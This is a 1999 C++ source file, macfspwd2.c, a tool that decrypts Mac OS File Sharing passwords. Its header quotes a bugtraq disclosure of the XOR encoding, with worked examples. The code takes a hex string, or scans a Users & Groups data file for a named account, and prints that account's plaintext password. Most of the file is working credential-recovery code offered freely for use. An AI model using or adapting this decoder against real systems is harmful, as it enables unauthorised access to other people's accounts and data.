/*
 NOTE: This is outdated!
 Please check the main software page at http://happiness.dhs.org/software for the
 latest release!
 
 -NWP 7/18/99

 macfspwd2.c
 Written by Nate Pierce
 luphus@iastate.edu
 http://happiness.dhs.org
 July 15, 1999
 
 You are free to use/distribute/modify this code, but please
 give credit where it is due, and do let me know if you do
 something spiffy. Thanks!
 
 Main algorithm taken from:
 http://www.securityfocus.com/vdb/bottom.html?section=discussion&vid=519
 with an addition from Chris Nandor
 
 I have tested this on 8.6 and it works fine as well.
 
 Compiled quite peachily on linux 2.2.10 with:
 g++ -o macfspwd2 macfspwd2.c
 
 Run syntax:
   [user@server user]$ ./macfspwd2 000406180D0A190B
 or
   [user@server user]$ ./macfspwd2 [accountname] [users & groups db filename]
 
 Borrowed/contributed reference material:
 ----- from the url above -----
 The encryption algorithm in MacOS system is simple and the password can be easily
 decoded.

 Password is stored in Users & Groups Data File in Preferences folder. Offset is different on
 each system and depends on Users & Groups configuration, but it always lie after owner's
 username. It's not so difficult to find it using a hex editor, even if we don't know owner's
 username.

 Here are some examples of encrypted passwords:
 00 04 06 18 0D 0A 19 0B = stayaway
 0A 1F 10 1B 00 07 75 1E = yellow
 1C 1B 16 14 12 62 10 7B = owner
 07 02 13 1A 1E 0F 1A 14 = turnpage
 27 25 33 27 27 39 24 7E = Trustno1

 AA BB CC DD EE FF GG HH = aa bb cc dd ee ff gg hh

 where:
 AA BB CC DD EE FF GG HH - encrypted password (hex)
 aa bb cc dd ee ff gg hh - decrypted password in ASCII codes (hex)

 aa=AA XOR 73H
 bb=BB XOR AA XOR 70H
 cc=CC XOR BB XOR 63H
 dd=DD XOR CC XOR 67H
 ee=EE XOR DD XOR 74H
 ff=FF XOR EE XOR 70H
 gg=GG XOR FF XOR 72H
 hh=HH XOR GG XOR 6BH

 An example:
 Let's take OO 04 06 18 0D 0A 19 0B

 00H XOR 73H = 73H = s
 04H XOR 00H = 04H; 04H XOR 70H = 74H = t
 06H XOR 04H = 02H; O2H XOR 63H = 61H = a
 18H XOR 06H = 1EH; 1EH XOR 67H = 79H = y
 0DH XOR 18H = 15H; 15H XOR 74H = 61H = a
 0AH XOR 0DH = 07H; 07H XOR 70H = 77H = w
 19H XOR 0AH = 13H; 13H XOR 72H = 61H = a
 0BH XOR 19H = 12H; 12H XOR 6BH = 79H = y

 tested on:
 MacOS 7.5.3, 7.5.5, 8.1, 8.5. 
 
 copied verbatim from a post to bugtraq by Dawid adix Adamski <adixx@FRIKO4.ONET.PL> on
 July 10, 1999
 ----- snip -----
 
 ----- from Chris Nandor <pudge@pobox.com> (July 15, 1999) -----
 In Mac OS 8.6, the first character of each user's password is XOR'd with
 their user ID XOR 1.  Here is some Perl code that gets all of the users,
 their IDs, and their passwords.
 ----- snip -----
*/

#include<iostream.h>
#include<iomanip.h>
#include<fstream.h>
#include<string.h>

/* uncomment this if you want to see some extra info */
//#define DEBUG

/* I think the max password lenght for file sharing is 8 characters */
#define PWLEN 8

/* file name to open */
#define DFILE argv[2]

/* returns decimal equiv if q is 0-9, a-f, or A-F */
int hexdig(char q); 

/* returns value of 2 digits spliced together - hexint(15,15) will return 255 */
int hexint(char p,char q);

/* perform the XOR-ification */
void display(char* s1,int* s2, int* s3,int accountid);

/* Normally I hate working with recursion - and this case was no different.
   After much trial and error, it is working quite well */
bool findstring(char* word);

ifstream input_file;

int main(int argc, char *argv[]){
  int s2[10],s3[10],i,strnf=1,k;
  char accountname[4*PWLEN],ch=0x0,s1[10],accountid;

/* user is clueless - display use */
  if(argc==1 || argc>3){
    cout<<argv[0]<<" by Nate Pierce - luphus@iastate.edu\n"
        <<"Use: "<<argv[0]<<" [16 char hex string]\n"
        <<"or:  "<<argv[0]<<" [accountname] [users & groups db filename]\n";
    return 1;
  }
  
/* Chunk in the magic XOR string - this is constant. 
   There's prolly a better way to do this, but
   I don't much care... */
  s3[0]=0x73;
  s3[1]=0x70;
  s3[2]=0x63;
  s3[3]=0x67;
  s3[4]=0x74;
  s3[5]=0x70;
  s3[6]=0x72;
  s3[7]=0x6B;

/* 1 arg? treat as 16 char hex code - try 000406180D0A190B - should yield 'stayaway' */
  if(argc==2){
    for(i=0;i<strlen(argv[argc-1]);i+=2){
      if(hexdig(argv[argc-1][i])&&hexdig(argv[argc-1][i+1]))s1[i/2]=hexint(argv[argc-1][i],argv[argc-1][i+1]);
      else{
        cout<<"Error: last argument should be a 16 digit hex number! (no spaces please)\n";
        return 1;
      }
    }
    display(s1,s2,s3,0x1);
  }
  
/* grep style operation */
  if(argc==3){
    strcpy(accountname,argv[1]);
    input_file.open(DFILE);
    if(!input_file){
      cout<<"File \""<<DFILE<<"\" could not be found! Exiting.\n";
      return 1;
    }
    while(input_file){
      do{input_file.get(ch);} while(input_file && ch!=strlen(accountname));
      if(input_file.peek()==accountname[0]){
        if(findstring(accountname)){
          if(2*(ch/2)==ch) input_file.ignore();
          for(i=0;i<PWLEN;i++) input_file.get(s1[i]);
          for(i=0;i<4;i++) input_file.get(accountid);
          display(s1,s2,s3,accountid);
        }
      }
    }
    input_file.close();
  }
  return 0;
}  

int hexdig(char q){
  if(q>47 && q<58)return 48;
  if(q>64 && q<71)return 55;
  if(q>96 && q<103)return 87;
  return 0;
}

int hexint(char p,char q){
  return 16*(p-hexdig(p))+(q-hexdig(q));
}

void display(char* s1,int* s2, int* s3,int accountid){
  int i;
  char pwd[PWLEN+1];

/* chunk in 2nd XOR string - based on s1 array */
  s2[0]=accountid^0x1;
  for(i=0;i<PWLEN-1;i++){
    s2[i+1]=s1[i];
  }
  
#ifdef DEBUG
  cout<<"Original string: ";
  for(i=0;i<PWLEN;i++){
    if(s1[i]<0x10)cout<<"0";
    cout<<hex<<(int)s1[i]<<" ";
  }
  cout<<"\n1st XOR string:  ";
  cout<<"00 ";
  for(i=0;i<PWLEN-1;i++){
    if(s2[i+1]<0x10)cout<<"0";
    cout<<hex<<s2[i+1]<<" ";
  }
  cout<<"\n2nd XOR string:  ";
  for(i=0;i<PWLEN;i++){
    if(s3[i]<0x10)cout<<"0";
    cout<<hex<<s3[i]<<" ";
  }
  cout<<endl;
#endif

  cout<<"Possible password: ";
  for(i=0;i<PWLEN;i++)pwd[i]=s1[i]^s2[i]^s3[i];
  pwd[PWLEN]=0x0;
  cout<<pwd<<endl;
}

bool findstring(char* word){
  char ch;
  if(word[0]==0x0) return true;
  input_file.get(ch);
  if(ch==word[0]){
    word+=1;
    return findstring(word);
  }else return false;
}
